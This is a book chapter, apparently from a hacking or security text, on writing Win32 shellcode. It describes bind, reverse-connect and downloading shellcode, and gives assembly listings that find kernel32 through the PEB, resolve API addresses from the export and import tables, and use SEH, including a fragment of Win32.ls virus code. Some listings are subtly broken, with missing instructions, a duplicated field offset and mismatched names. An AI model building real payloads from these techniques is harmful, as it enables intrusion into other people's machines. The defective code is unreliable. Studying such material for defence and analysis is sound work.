Chapter 21

Creating shellcodes in the Win32 environment

To understand this chapter requires basic familiarity with programming assembly language for Intel IA-32 processors. For those who know this subject, and Win32 systems, this chapter should provide a useful extension of their knowledge.

What is a shellcode?

Broadly speaking, a shellcode is nothing other than a code fragment, usually written in assembly language, which is the core of an exploit intended to start up the system shell.

Why is a shellcode usually written in assembler? First of all, this is due to size. As we know, the compilers of C and other programming languages generate longer code. In additional, we cannot use relative memory calls, as they will cause errors.

This is, however, not true of the flow control mechanism found in modern programming languages. This is used to handle exceptional events, and error situations in particular. The programming languages that support this mechanism allow us to define the code fragment where an exception occurs, and how to handle an exception if one is reported.

Types of shellcodes

Today, many different types of shellcode can be found, for example:

- Bind to port shellcode: As the name implies, this is a shellcode that listens in on a certain port and waits for connections from a potential hacker.
- Reverse connect shellcode: Instead of listening in on a specific port and waiting for connections, this shellcode connects to the specific IP address and port usually opened by the hacker.
- Downloading shellcode: Using different methods (HTTP, FTP) this shellcode downloads a file, usually a backdoor, and installs it on the victim's computer. We will analyze an example of this in this chapter.

Finding the kernel address

How is the kernel address useful to the shellcode? If the shellcode wants to call an API function such as LoadLibraryA, it has to know the address of this function in memory. LoadLibraryA returns the handle to the module specified in the argument.

There are several methods of searching the API function address. For some of these the method of determining the kernel address in memory is not necessary. Another method uses hard-coded addresses. As the name indicates, we save all the addresses of the API function, and at a minimum those used by our shellcode, as hard-coded addresses. Unfortunately, our shellcode won't work on systems in which the addresses are different and this will probably cause an exception in the program. This in turn will result in a memory protection violation, due to which the application will terminate.

Exploitation of hard-coded addresses

We will now look at several situations in which hard-coded addresses are used. For this purpose we will use the getproc tool.

```
call:> getproc KERNEL32.DLL LoadLibraryA GetProcAddress ExitProcess

For Windows 2000 SP4:

[KERNEL32.DLL] Module name base address = 79340000h
[LoadLibraryA] API name base address = 793505CFh
[GetProcAddress] API name base address = 7934E6A9h
[ExitProcess] API name base address = 7934E01Ah
```

The “name base address” module is the address under which the kernel has been mapped, while “API name base address” means the mapping address of a specific API function.

We will now look at a short program that uses hard-coded addresses and, using the LoadLibraryA function call (WSOCK32.DLL), returns the handle to the library WSOCK32.DLL. To be more precise, this is an address under which the function is mapped to the process memory. Then using the function GetProcAddress(handle, "WSAStartup") we obtain the address of the function API - WSAStartup, which informs the system that the process will use the Winsock library.

```
;----------------------------------------------------------------------
;compilation:
;               tasm32 /w0 /m1 /m3 /mx s2,,
;               tlink32 -Tpe -aa s2,s2,,import32.lib,,
;               PEWRSEC.COM s2.exe
;----------------------------------------------------------------------

.586p                                   ; standard directives
.model flat
extern ExitProcess:PROC                 ; minimum one export
.data
db 'This is only so the compiler does not return an error similar to external
ExitProcess',0
.code
start:
                                        ; values of the hard-coded addresses for
                                        ; Win 2000 Service Pack 4 (see above)


mov eax,LoadLibraryA_w2k_sp4                    ; upload the value 793505CFh to EAX
call eax                                        ; call LoadLibraryA using
                                                ; a hard-coded address (the handle
                                                ; is returned in EAX)

test eax,eax                                    ; if the value of the EAX register is
0
jz _error                                       ; terminates the program
```

```
call _b                                         ; upload the chain address onto the
                                                ; stack
db              'WSAStartup',0                  ; characters 'WSAStartup'
                                                ; here the call lands
push eax                                        ; upload the library address to the
                                                ; stack
                                                ; wsock32.dll, whose handle is in
                                                ; EAX

mov eax,GetProcAddress_w2k_sp4                  ; upload the value 7934E6A9h to EAX
                                                ; that is the address of the
GetProcAddress fuction
call eax                                        ; call the function
test eax,eax                                    ; if the value of the EAX register is
0
jz _error                                       ; terminate the program (gaining
                                                ; the function address wasn't
                                                ; successful)
int 3                                           ; interruption of debugger (the EAX
                                                ; value
                                                ; corresponds to the WSAStartup
                                                ; function)


_error:
push 0                                          ; error code (optional)
mov eax,ExitProcess_w2k_sp4                     ; EAX=address of the ExitProcess
                                                ; function
call eax                                        ; terminate the process

end start
;---------------------- for Windows 2000 Service Pack 4 end ----------
```

Of course the abovementioned examples will stop on the instruction “int 3” only if our addresses are correct. Otherwise our program will jump to the label _error and will end.

We will now focus on finding the kernel address of the machine under attack. Each process has a process environment block, or PEB. In systems based on the NT kernel (Windows NT/2000/XP/Vista) this structure is located under a hard-coded address, namely 7FFDF000h. It contains very useful information regarding the process that is currently running. It is also possible to obtain the PEB address from the TEB (thread environment block), whose structure appears as follows:

```
struct TEB {
        struct _NT_TIB NtTib;
        void* EnvironmentPointer;
```

```
struct _CLIENT_ID ClientId;
        void* ActiveRpcHandle;
        void* ThreadLocalStoragePointer;
         ; below our pointer to the PEB block
        struct _PEB* ProcessEnvironmentBlock;
        struct _ACTIVATION_CONTEXT_STACK ActivationContextStack;
};
```

The pointer to the PEB (in the TEB structure) is offset by 30h (48d) bytes from the beginning of the structure.

Therefore, to obtain the PEB address we will use an example code (**/CD/Chapter21/Listings/s_k1.asm**):

```
;---------------------------------------------------------------------
;s_k1.asm
;compilation:
;               tasm32 /w0 /m1 /m3 /mx sk_k1,,
;               tlink32 -Tpe -aa s_k1,s_k1,,import32.lib,,
;               PEWRSEC.COM s_k1.exe
;---------------------------------------------------------------------
.586p                                           ; standard directives
.model flat

extern ExitProcess:PROC                         ; minimum one export

.data
db ''This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
Start:
mov eax,dword ptr fs:[30h]                      ;EAX=pointer to the PEB
int 3                                           ;stop for debugger

exit:           push 0
                call ExitProcess

end start
;---------------------------------------------------------------------
```

The TEB is located under the address fs:[0] (fs is the selector), while the field struct _PEB* ProcessEnvironmentBlock is at fs:[30h], as mentioned earlier.

The program has already found the PEB address. For the sake of simplicity, we will omit the description of all structure elements and will focus only on those that will be really useful to us. Specifically, the pointer to the structure

PEB_LDR_DATA is located under the address PEB:0Ch, or 0Ch (12d) bytes towards the beginning of the process environment block structure, which appears as follows:

```
struct PEB_LDR_DATA {
        DWORD Length;                                           ; 0
        BYTE Initialized;                                       ; 4
        void* SsHandle;                                         ; 8
        struct LIST_ENTRY InLoadOrderModuleList;                ; 0ch
        struct LIST_ENTRY InMemoryOrderModuleList;              ; 14h
        struct LIST_ENTRY InInitializationOrderModuleList;      ; 1ch
};
```

The structure LIST_ENTRY is described as:

```
struct LIST_ENTRY {
        struct LIST_ENTRY* Flink;                               ; 0
        struct LIST_ENTRY* Blink;                               ; 4
};
```

The most useful structure for us will be the one under the address 1Ch; that is, the InInitializationOrderModuleList. This is a list of modules located (mapped) in the process memory, including the kernel32.dll module we are looking for.

The above situation can be illustrated more clearly by the modified example s_k1.asm (**/CD/Chapter21/Listings/s_k1_2.asm**):

```
;-----------------------------------------------------------------------
;s_k1.asm
;compilation:
;               tasm32 /w0 /m1 /m3 /mx sk_k1,,
;               tlink32 -Tpe -aa s_k1,s_k1,,import32.lib,,
;               PEWRSEC.COM s_k1.exe
;-----------------------------------------------------------------------
.586p                                   ; standard directives
.model flat

extern ExitProcess:PROC                 ; minimum one export

.data
db ''This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
start:
```

```
mov eax,dword ptr fs:[30h]              ;EAX=pointer to the PEB
mov eax,dword ptr [eax+0ch]             ;PEB_LDR_DATA
mov esi,dword ptr [eax+1ch]             ;EAX=PEB:InInitializationOrderModuleList

comment $

At this moment ESI points to LIST_ENTRY, a list containing the imagebase
(location/mapping address) of a specific module in memory (for example of the ntdll.dll
module)

dd      *forwards_in_the_list                   ;     ESI+0
dd      *backwards_in_the_list                  ;     +4
dd      imagebase_of_ntdll.dll                  ;     +8
dd      imagetimestamp                          ;     +44h

As can be seen, the fields under the addresses 0 and 4 at the beginning of the structure
(forwards_in_the_list and backwards_in_the_list) are pointers to the next structures,
which contain information about various modules and create the chain. The zero
structure, which we currently have in the ESI register, contains an imagebase of the
ntdll.dll module. We will use the forwards field to obtain information about the module
kernel32.dll, which is our target.

$


lodsd                                   ; we will use the forwards field
                                        ; now in EAX
                                        ; next structure is located

mov eax,[eax+08h]                       ; structure 2, field imagebase
int 3                                   ; trap for debugger
exit:           push 0
                call ExitProcess

end start
;----------------------------------------------------------------------
```

After starting up the program, when the debugger stops on the instruction "int 3," we should notice that the address under which the kernel is mapped is located in the EAX register.

This can be checked with the command "what eax" in the Softice debugger, but this shouldn't present any trouble if the reader is using another debugger.

In this way we have found the kernel address. There are many methods of searching for the kernel address in memory. They are most often used when creating viruses. Similar techniques include memory scanning using the SEH (structured exception handling) gateway, which intercepts application exceptions; hard saving of several kernel addresses for each system version; and the use of the SEH gateway.

There are many possibilities, but PEB is the best and quickest solution in this case.

Before we proceed with an example code using the SEH gateway, we will discuss this mysterious structure. If a program carries out an incorrect instruction, or refers to a nonexistent memory address, it will cause an exception, due to which the whole application will terminate with a message such as “xxx.exe has executed a forbidden operation...” There are many examples of such messages.

However, it doesn’t always have to end like this. When we set the SEH gateway, at the moment it creates an exception, the program, instead of terminating, jumps to our procedure. As a result we take over the exception and our application doesn’t have to stop working.

This all depends on which steps we undertake in such an event (**/CD/Chapter21/Listings/withoutgateway.asm**).

```
;----------------------------------------------------------------------
;withoutgateway.asm – an example application to create the exception
;compilation:
;                tasm32 /w0 /m1 /m3 /mx withoutgateway,,
;                tlink32 -Tpe -aa withoutgateway,withoutgateway,,import32.lib,,
;                PEWRSEC.COM withoutgateway.exe
;----------------------------------------------------------------------
.586p                                   ; standard directives
.model flat

extern ExitProcess:PROC                 ; minimum one export
extern MessageBoxA:PROC

.data
db ''This is only so the compiler does not return an error similar to extern
ExitProcess',0
start:xor eax,eax
call eax                                ; call the exception, jump into the address 0

exit:
push 0
call ExitProcess
;----------------------------------------------------------------------
```

After the program "withoutgateway.exe" is started up, an exception will be called, as a result of which the application should terminate, and the user should be informed about this.

We will refer now to the program "gateway.exe" (**/CD/Chapter21/Listings/gateway.asm**):

```
;-----------------------------------------------------------------------
;gateway.asm – example of installing the SEH gateway
;compilation:
;                tasm32 /w0 /m1 /m3 /mx gateway,,
;                tlink32 -Tpe -aa gateway,gateway,,import32.lib,,
;                PEWRSEC.COM gateway.exe
;-----------------------------------------------------------------------
.586p                                             ; standard directives
.model flat

extern ExitProcess:PROC                           ; minimum one export
extern MessageBoxA:PROC
.data
db 'This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
start:
                                          ; gateway installer
push offset our_handler                   ; upload the address of our gateway onto the
                                          ; stack
push dword ptr fs:[0]                     ; upload the address of the old gateway onto
                                          ; the stack
mov dword ptr fs:[0],esp                  ; create a new gateway!
xor eax,eax
call eax                                  ; call the exception, jump to the address 0
exit:
push 0
call ExitProcess
                                          ; gateway uninstaller
our_handler:
pop dword ptr fs:[0]                      ; reset gateway
pop eax                                   ; remove the address of our gateway
push 0                                    ; messagebox type
call put_1                                ; upload the address of the message box title
db "Exception found",0                    ; onto the stack
put_1:
call put_2                                ; upload the address of the message box text
db "I am in the SEH gateway, I found an exception",0       ; onto the stack
put_2:
push 0                                    ; window handle (NULL)
call MessageBoxA                          ; call the MessageBoxA function
jmp exit
end start
;-----------------------------------------------------------------------
```

If everything goes according to plan, we will see on the screen a window informing us that the exception has been successfully intercepted and that the application has continued to function (without a window informing us about the memory protection violation as in the program withoutgateway.exe).

Below there is the same program written in the C language using the construction __try and __except, the equivalents of our installer and uninstaller in assembler (**/CD/Chapter21/Listings/gateway.c**).

```
//---------------------------------------------------------------------
        // gateway.c
        // Microsoft Visual C Compiler, Studio version 6.0
//---------------------------------------------------------------------

        #include <stdio.h>
        #include <stdlib.h>
        #include <windows.h>

        int OurHandler(void) {
        // inform the user about catching the exception using a messagebox
        return MessageBox(NULL,"Exception found","I am now in the SEH gateway,
                                I caught the exception ",MB_ICONINFORMATION);
        }

        __try {
                _asm {
                        xor eax,eax       // reset the EAX register
                        call eax          // jump to the address zero -> exception
                }

        } __except(OurHandler()) { }        // if an exception occurs, transfer the control
                                            // to the OurHandler function
        return 0;
}
```

The reader can find a detailed SEH description under the address:

```
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/debug/base/structured_exception_handling.asp
```

As we have now briefly discussed structured exception handling, we will proceed to the code fragment, which describes gaining the kernel address using the SEH gateway and hard-coded addresses.

```
;--------------------------------------------------------------------
;The code below is a fragment of the Win32.ls virus code,
```

```
;which clearly illustrates the issue being discussed
;------------------------------------------------------------------------

cld                                          ;clear the DS flag
lea esi,[ebp + offset _kernels - @delta]     ;upload the address of the variables to ESI
                                             ;together with kernels

@nextKernel:
lodsd                                      ;upload the value of the current
                                           ;variable with the kernel address to EAX
push esi                                   ;save pointer to the current
                                           ;element in the table with kernels
inc eax                                    ;see if we haven't checked
                                           ;the last kernel yet
jz @bad                                    ;if yes, exits without
                                           ;finding the kernel

push ebp                                   ;save the value delta handle
                                           ;(offset correction) on
                                           ;the stack

call @kernellSEH                           ;procedure that sets the SEH gateway

mov esp,[esp + 08h]                        ;clear the stack

@bad1:
pop dword ptr fs:[0]                       ;reset the old SEH gateway
pop eax                                    ;clear the stack
pop ebp                                    ;load EBP
                                           ;(offset correction)
pop esi                                    ;load ESI (ESI is
                                           ;a pointer to the variable with the address
                                           ;of the kernel)
jmp @nextKernell                           ;jump and check the next address

@bad:
          pop eax                          ;take off from the EAX stack
          jmp @returnHost                  ;it wasn't possible to find
                                           ;the kernel address -> exit

                                            ;kernel addresses for
                                            ;selected operating systems
  _kernels               label
  dd            077e80000h - 1             ;NT 5
  dd            0bff70000h - 1             ;w9x
  dd            077e80000h - 1             ;NT 4
  dd            -1                         ;marker for the end of searching

  @kernellSEH:
          push dword ptr fs:[0]            ;set a new gateway
          mov dword ptr fs:[0],esp
          mov ebx,eax                      ;EAX store in EBX
                                           ;(EBX=imagebase from the variable)
          xchg eax,esi                      ;ESI=EAX
          xor eax,eax                      ;reset EAX
          lodsw                            ;read one word from
                                           ;the value of the ESI register
          not eax                          ;check if this value is not MZ
```

```
        cmp eax,not 'ZM'                ;'MZ' beginning of the file .exe -> see
                                        ;below file specification
        jnz @bad1                       ;no -> check the next address
        mov eax,[esi + 03ch]            ;we have found the MZ tag,
                                        ;now check if
                                        ;if the file is the PE file
        add eax,ebx                     ;add to the EAX imagebase
        xchg eax,esi                    ;ESI=EAX
        lodsd                           ;read 4 bytes under ESI
        not eax                         ;negate EAX
        cmp eax,not 'EP'                ;is the file
                                        ;a portable executable file
                                        ;if yes, we have the kernel!

        jnz @bad1                       ;if not, try the next address

        pop dword ptr fs:[0]            ;set the old gateway
        pop eax ebp esi                 ;clear the stack

        int 3                           ;EBX = kernel address in memory
                                        ;EBP=delta handler
                                        ;(offset correction)
```

With the kernel address, we can read the addresses of the API function! So we proceed to the next section of this chapter.

Finding API addresses using the kernel's export section

To understand the essence of this section we should look at the structure of the PE file. It is described very clearly on the following website:

```
http://www.wheaty.net
```

We recommend you read the information presented on this site. Now, however, we'll have a closer look at another simple scheme. We won't be describing each field, but only those we will be dealing with later.

API functions

The API (application programming interface) functions are exported by various kinds of libraries, e.g., kernel32.dll, user32.dll, and winsock32.dll. These functions are exceptionally useful in creating programs for systems from the Win32 family. They constitute a point of communication with the system and can call certain specified actions.

What the shellcode needs the API functions for

Like any other program, a shellcode has to execute specific operations, such as create a file. In most cases it has to use the API functions to do this. And here we face a problem. A normal program has all the addresses of the functions it uses written in an import address table (IAT), but a shellcode doesn't have any information about the addresses of the API functions. We can of course obtain these addresses, like the kernel address, but it lowers the shellcode efficiency considerably. To solve this problem, we search the export section of a specific library or the IAT.

The export section

The export section is a specific structure of the PE file, in which all the information about the functions being exported is saved. The address under which the export section is located is 078h towards the PE header (which is of course relative).

How can we get to the export section of a specific library? The next example illustrates how this task can be performed (**/CD/Chapter21/Listings/sexp.asm**).

```
;-----------------------------------------------------------------------
;sexp.asm – example of gaining address of the kernel's export section
;compilation:
;               tasm32 /w0 /m1 /m3 /mx sexp,,
;               tlink32 -Tpe -aa sexp,sexp,,import32.lib,,
;               PEWRSEC.COM sexp.exe
;-----------------------------------------------------------------------
.586p                                   ; standard directives
.model flat

extern ExitProcess:PROC                 ; minimum one export
extern MessageBoxA:PROC


.data
db ''This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
start:

call delta                              ;the above code counts
```

```
delta:
pop ebp                                   ;delta handle
sub ebp,offset delta                      ;in this case it should amount to
                                          ;zero for obvious reasons
mov eax,dword ptr fs:[30h]                ;EAX = pointer to the PEB block
mov eax,dword ptr [eax+0ch]
mov esi,dword ptr [eax+1ch]               ;EAX=PEB:InInitializationOrderModuleList

lodsd                                     ; we will use the forwards field
                                          ; in EAX now
                                          ; next structure is located

mov eax,[eax+08h]                         ; structure, 2 field imagebase
mov ebx,eax                               ; in EAX imagebase of the kernel!
                                          ; EBX=EAX=imagebase
add eax,[eax + 03ch]                      ;address of the PE header
                                          ;(relative, see above - specification)
mov eax,[eax + 078h]                      ;address of the export section
                                          ;(relative, see above - specification)
add eax,ebx                               ;add to the EAX imagebase (EBX), to
                                          ;obtain the VA address (Virtual Address)

int 3                                     ;trap for debugger, in EAX=virtual address
                                          ;of the export section of the kernel
exit:
push 0
call ExitProcess

end start
```

This is the beginning of the export section (we will focus only on fields that interest us):

```
 ...
018h     dd?              quantity of names being exported by the library
01ch     dd?              addresses of the functions being exported by the library
                                  (pointer to the table)
01ch     dd?              addresses of the function names being exported by the library
                                  (pointer to the table)
024h     dd?              address of the function indexes  (pointer to the table)
 ...
```

We should notice that we are searching for the function “OurAPIFunction.” First we check if a specific element of the table with the function names corresponds to the character chain OurAPIFunction. If so, we have to save the element number we are currently processing, to the auxiliary variable, in order to finally obtain the function address.

Below is a fragment of the tdump program output defining exports in the kernel32.dll library:

```
Number interesting RVAs  00000010
Name                     RVA              Size
------------------       --------         --------
Exports                  00057570         00005BD5

Exports from KERNEL32.dll

  827 exported name(s), 827 export address(es). Ordinal base is 1.
    Ordinal RVA           Name
    ------- --------      -------
    0000    0001b65b      AddAtomA
    0001    0000df58      AddAtomW
    0002    0004639d      AddConsoleAliasA
    0003    00046366      AddConsoleAliasW
    0004    00047187      AllocConsole
    0005    000355b2      AllocateUserPhysicalPages
    0006    00016c75      AreFileApisANSI
    0007    00045af4      AssignProcessToJobObject
    0008    0002b9f6      BackupRead
    0009    0002bc52      BackupSeek
    0010    0002c5b9      BackupWrite
     (…)
    0043    000146c0      CopyFileA
    0044    000324d4      CopyFileExA
    0045    00014736      CopyFileExW
    0046    00020069      CopyFileW
    0047    0004876a      CreateConsoleScreenBuffer
    0048    000239d8      CreateDirectoryA
    0049    0002e0a8      CreateDirectoryExA
    0050    0001f9fd      CreateDirectoryExW
     (…)
    0822    0000fa6d      lstrcpynA
    0823    0000be4e      lstrcpynW
    0824    00015d89      lstrlen
    0825    00015d89      lstrlenA
    0826    0000d20c      lstrlenW
```

As we can see, the kernel32.dll library exports 827 API functions. The last exported function is lstrlenW. We should remember that the indexing starts from zero, therefore tdump saved the lstrlenW function under the position 0826.

The whole searching method looks like this (**/CD/Chapter21/Listings/sapi.asm**):

```
;-----------------------------------------------------------------------
;sapi.asm – example of searching the API function address from the
;                export section
;compilation:
```

```
;               tasm32 /w0 /m1 /m3 /mx sapi,,
;               tlink32 -Tpe -aa sapi,sapi,,import32.lib,,
;               PEWRSEC.COM sapi.exe
;-----------------------------------------------------------------------
.586p                                    ; standard directives
.model flat

extern ExitProcess:PROC                  ; minimum one export


.data
db ''This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
start:

call delta                               ;the above code counts
delta:
pop ebp                                  ;delta handle
sub ebp,offset delta                     ;in this case it should amount to
                                         ;zero for obvious reasons


mov eax,dword ptr fs:[30h]               ;EAX=pointer to the PEB block
mov eax,dword ptr [eax+0ch]
mov esi,dword ptr [eax+1ch]              ;EAX=PEB:InInitializationOrderModuleList

lodsd                                    ;we will use the forwards field
                                         ;in EAX now
                                         ;next structure is located

mov eax,[eax+08h]                        ;structure, 2 field imagebase
                                         ;in EAX imagebase of the kernel!


                                         ;here I used
                                         ;an algorithm and a method coded
                                         ;by mort (much faster
                                         ;than mine)

mov ecx,1                                ;searching one API function
mov ebx,eax                              ;EBX=EAX and this all = imagebase values
                                         ;of the kernel from the PEB block
call GETAPI                              ;find the address of the API function
int 3                                    ;trap for debugger our address is located in
                                         ;the EAX register
jmp exit                                 ; terminate the process


;INPUT: EAX i EBX = of a specific module imagebase
;ECX=how many functions we want to find
GETAPI:                                  ;our function, which will be searching for
                                         ;the function address in the export section
```

```
    add eax,[eax + 03ch]             ;address of the PE header (relatively,
                                     ;see above - specification)
    mov eax,[eax + 078h]             ;address of the export section (relatively,
                                     ;see above - specification)
    add eax,ebx                      ;add to the EAX imagebase (EBX)
    add eax,018h                     ;shift to the field "names' quantity"
    xchg eax,esi                     ;ESI=EAX

    push ecx                         ;how many addresses have to be looked for

    lodsd                            ;in EAX number of the API names exported
                                     ;by the library
    push eax                         ;upload onto stack (save for later)
    inc eax                          ;value we will be decreasing
                                     ;by one, to obtain the name index
    push eax                         ;upload onto stack (save for later)
    lodsd                            ;read into EAX pointer to the table with
                                     ;addresses API     push eax
                                     ;upload onto stack (save for later)
    lodsd                            ;read into EAX pointer to the names' addresses
    push eax                         ;upload onto stack (save for later)
    lodsd                            ;read into EAX pointer to
                                     ;ordinals (indexes)
    push eax                         ;upload onto stack (save for later)

    mov eax,[esp + 4]                ;EAX=table with the pointers of the api
                                     ;function names
                                     ;(relative)
    add eax,ebx                      ;EAX+imagebase
    xchg eax,esi                     ;ESI=EAX

 @nextAPI:
    dec dword ptr [esp + 0ch]        ;decrease by one (see above)

    lodsd                            ;read the name address (relative)
    add eax,ebx                      ;normalize by adding imagebase


    mov ecx,our_function_length      ;ECX=character chain length
                                     ;of our function
    lea edi,[ebp+our_function_name]  ;EDI=pointer to the character chain
                                     ;of our function
    mov edx,esi                      ;EDX=ESI (saving ESI for later)
    mov esi,eax                      ;ESI=EAX (necessary for the cmpsb instruction)
    rep cmpsb                        ;check if our chain is identical
    jz having_api                    ;to the one from the export table

    mov esi,edx                      ;restoring the old ESI value
    jmp @nextAPI                     ;searching through the next name
```

```
    having_api:

    mov eax,[esp + 010h]                    ;download the number of the exported API
                                            ;functions
    sub eax,[esp + 0ch]                     ;EAX=is now an index (see above)
    shl eax,1                               ;multiplying EAX*2 result in EAX
    add eax,[esp]                           ;EAX=ordinal position (relative)
    add eax,ebx                             ;normalization of the address through adding
                                            ;the imagebase value
    push esi                                ;ESI=pointer to the name of the API function,
                                            ;onto stack
    xchg eax,esi                            ;ESI=EAX
    xor eax,eax                             ;reset the EAX register
    lodsw                                   ;read the word from ESI and upload it to EAX
    shl eax,2                               ;multiplying EAX*4 result in EAX
    add eax,[esp + 0ch]                     ;we download the address position (relative)
    add eax,ebx                             ;normalize the address adding the imagebase
                                            ;val.
    xchg eax,esi                            ;ESI=EAX
    lodsd                                   ;EAX=points to the address of the API
                                            ;function
    add eax,ebx                             ;normalize the address adding the value
                                            ;imagebase (EBX)

    mov dword ptr [ebp+_CreateFileA_adres],eax    ;write the found
                                                  ;address to the variable


    pop esi                                 ;reset the pointer to names
    dec dword ptr [esp + 014h]              ;decrease the counter by one, we are
                                            ;currently searching
                                            ;for one function
    jnz @nextAPI                            ;this is the end of the reading

  @lastAPIDone:
    add esp,018h                            ;clear the stack
    ret

exit:
push 0
call ExitProcess

our_function_name                           db "CreateFileA",0
our_fuction_length                          =$-offset our_function_name
_CreateFileA_adres                          dd 0

end start
```

The above code of the kernel's export section gains the API address of the CreateFileA function and writes it to the variable _CreateFileA_address. So the call of the CreateFileA function somewhere in the shellcode area should look like the following:

```
        push argument_XX
```

```
        push argument_X
...
        call dword ptr [ebp+_CreateFileA_adres]      <- calls the API function, whose
                                                        address is defined in the variable
```

Therefore, when we already know how to find the address of a specific API function, we can proceed with the next section of this chapter.

Finding API function addresses using the import address table

IAT is a table of addresses for all functions imported from a specific library. If we use the MessageBoxA function in our program, information appears about it in the IAT.

We will now compare several standard applications and check which functions are most frequently imported by them:

```
        1) G6FTPSRV.EXE (packed with ASPAK)
                Image base              00400000
                Imports from kernel32.dll
                        GetProcAddress
                        GetModuleHandleA
                        LoadLibraryA

        2) INETINFO.EXE
                Image base              01000000
                Imports from KERNEL32.dll
                        GetProcAddress(hint = 0153)
                        LoadLibraryA(hint = 01df)
                        GetModuleHandleA(hint = 013a)

        3) WDM.EXE
                Image base              00400000
                Imports from KERNEL32.dll
                        LoadLibraryA(hint = 022e)
                        GetModuleHandleA(hint = 0167)
                        GetProcAddress(hint = 0189)
```

As can be seen, all the applications have imported the same three functions. How can they be useful to us? If we know the address of the LoadLibraryA function (we get it from the IAT), assuming that the application has imported this function, we will be able to easily create a handle to a specific library. Then, with the GetProcAddress function we will obtain the address of the function we were looking for.

The only condition to place and make such a mechanism correctly work in the shellcode is to know the imagebase value of the application under attack. This doesn't constitute a problem for us, because this value is usually constant. The import address table structure appears as follows:

```
UNION
    ID_characteristics       DD   ?                          ;0 for the last

                                                             ;import descriptor
    ID_OriginalFirstThunk    DD    IMAGE_THUNK_DATA PTR?     ;relative pointer
                                                             ;to
                                                             ;the structure
                                                             ;IMAGE_THUNK_DATA
    ENDS

    ID_TimeDateStamp         DD    ?                         ;this field
                                                             ;doesn't interest us

    ID_ForwarderChain        DD    ?
    ID_Name                  DD    BYTE PTR?                 ;relative pointer
                                                             ;to the name of the
function
                                                             ;imported
    ID_FirstThunk            DD    IMAGE_THUNK_DATA PTR?     ;(relative)
                                                             ;import address table
```

The structure IMAGE_THUNK_DATA appears like this:

```
UNION
    TD_AddressOfData              DD    IMAGE_IMPORT_BY_NAME PTR?   ;pointer to the
                                                                    ;structure
;IMAGE_
                                                                    ;IMPORT_
                                                                    ;BY_NAME

TD_Ordinal                        DD   ?
                                                                    ;ordinal

    TD_Function                   DD    BYTE PTR?                   ;CODE PTR
                                                                    ;pointer to
                                                                    ;the function
    TD_ForwarderString  DD        BYTE PTR?          ;pointer to the next API function
ENDS       MAGE_IMPORT_BY_NAME    STRUC
    IBN_Hint                      DW   ?
    IBN_Name                      DB    1 DUP (?)
    IMAGE_IMPORT_BY_NAME    ENDS
```

In the next example the reader will find the application code, which illustrates how to refer to the import address table (**/CD/Chapter21/Listings/siat.asm**).

```
;--------------------------------------------------------------------------
;siat.asm – example of referring to the IAT (import address table)
;compilation:
;               tasm32 /w0 /m1 /m3 /mx siat,,
;               tlink32 -Tpe -aa siat,siat,,import32.lib,,
;               PEWRSEC.COM siat.exe
;--------------------------------------------------------------------------
.586p                                              ; standard directives
.model flat

extern ExitProcess:PROC                            ; minimum one export



.data
db ''This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
start:


call delta                                         ;the above code counts
delta:
pop ebp                                            ;delta handle
                                                   ;(offset correction)
sub ebp,offset delta                               ;in this case it should amount to
                                                   ;zero for obvious reasons
                                                   ;at the end of the program)
add eax,[eax+3ch]                                  ;EAX=address of the PE header

mov edi,[eax+80h]                                  ;EDI=import address table
                                                   ;(relative address)
add edi,dword ptr [ebp+imagebase]                  ;normalization into virtual address
int 3                                              ;interruption in debugger  - in EDI
IAT address

exit:
push 0
call ExitProcess

imagebase         dd 0400000h                      ;imagebase value (see above)
```

As we already know how to reach the import address table, we will now focus on an example that finds the call of the function GetModuleHandleA or LoadLibraryA, which will be useful for us to gain the library handle of the kernel, among other things (**/CD/Chapter21/Listings/iat.asm**).

```
;----------------------------------------------------------------------
;iat.asm – example that finds the address of the function LoadLibraryA
;or GetModuleHandleA from Import Address Table
;compilation:
;               tasm32 /w0 /m1 /m3 /mx iat,,
;               tlink32 -Tpe -aa iat,iat,,import32.lib,,
;               PEWRSEC.COM iat.exe
;----------------------------------------------------------------------

.586p                                                   ; standard directives
.model flat

;these functions are to be found in IAT
extrn AddAtomA:PROC                                     ;only for test
extrn GetModuleHandleA:PROC                             ;neutrally
extern LoadLibraryA:PROC                                ;function that we search for
extern ExitProcess:PROC                                 ;to exit

.data
db ''This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
start:

    call iat_delta                                      ;calculating offset
                                                        ;correction
    iat_delta: pop ebp                                  ;(delta handling)
    sub ebp,offset iat_delta

    mov eax,dword ptr [ebp+imagebase]
    add eax,[eax+3ch]                                   ;PE header
                                                        ;import address table
    add edi,dword ptr [ebp+imagebase]

    iat_loop:
    cmp dword ptr [edi],0                               ;is IAT empty?
    je exit                                             ;if yes, exit

    check_it:
    mov edx,[edi]
        ;ID_OriginalFirstThunk=point
                                                        ;to addresses of the API
                                                         ;names
    add edx,dword ptr [ebp+imagebase]                   ;normalization into virtual
                                                        ;address

 mov eax,[edi+10h]
;ID_FirstThunk=pointer to
                                                        ;API function addresses
```

```
    add eax,dword ptr [ebp+imagebase]                       ;normalization into virtual
                                                            ;address

    loop_iat:
    mov ecx,[edx]                                           ;ordinal
    add ecx,dword ptr [ebp+imagebase]                       ;normalize
    add ecx,2                                               ;ECX points to the name
cmp dword ptr [ecx],'MteG'                                  ;is
                                                            ;GetModuleHandleA this
                                                            ;function?
    jne next__                                              ;if not, check if it is not
                                                            ;LoadLibraryA
    cmp dword ptr [ecx+4],'ludo'                            ;as above
    jne next__

    near_jump:                                              ;if yes,
    mov eax,[eax]                                           ;EAX=address of the
                                                            ;imported function

    lea ebx,[ebp+kernel]                                    ;upload onto the stack the
                                                            ;chain
                                                            ;"KERNEL32.DLL"
                                                            ;of the imported API
                                                            ;function

    push ebx
    call eax                                                ;call the function
                                                            ;LoadLibraryA
                                                            ;or GetModuleHandleA
    mov dword ptr [ebp+kernel_addr],eax                     ;save the kernel address
    int 3                                                   ; interruption for debugger
                                                            ; in EAX imagebase of the
                                                            ; kernel
    jmp exit                                                ;terminating the work

    next__:
    cmp dword ptr [ecx],'daoL'                              ;is LoadlibraryA this
                                                            ;function
    jne next_                                               ;no, continue searching
    cmp dword ptr [ecx+4],'rbiL'
    je near_jump                                            ;if yes, perform
                                                            ;this function!

    next_:                                                  ;continuing the search

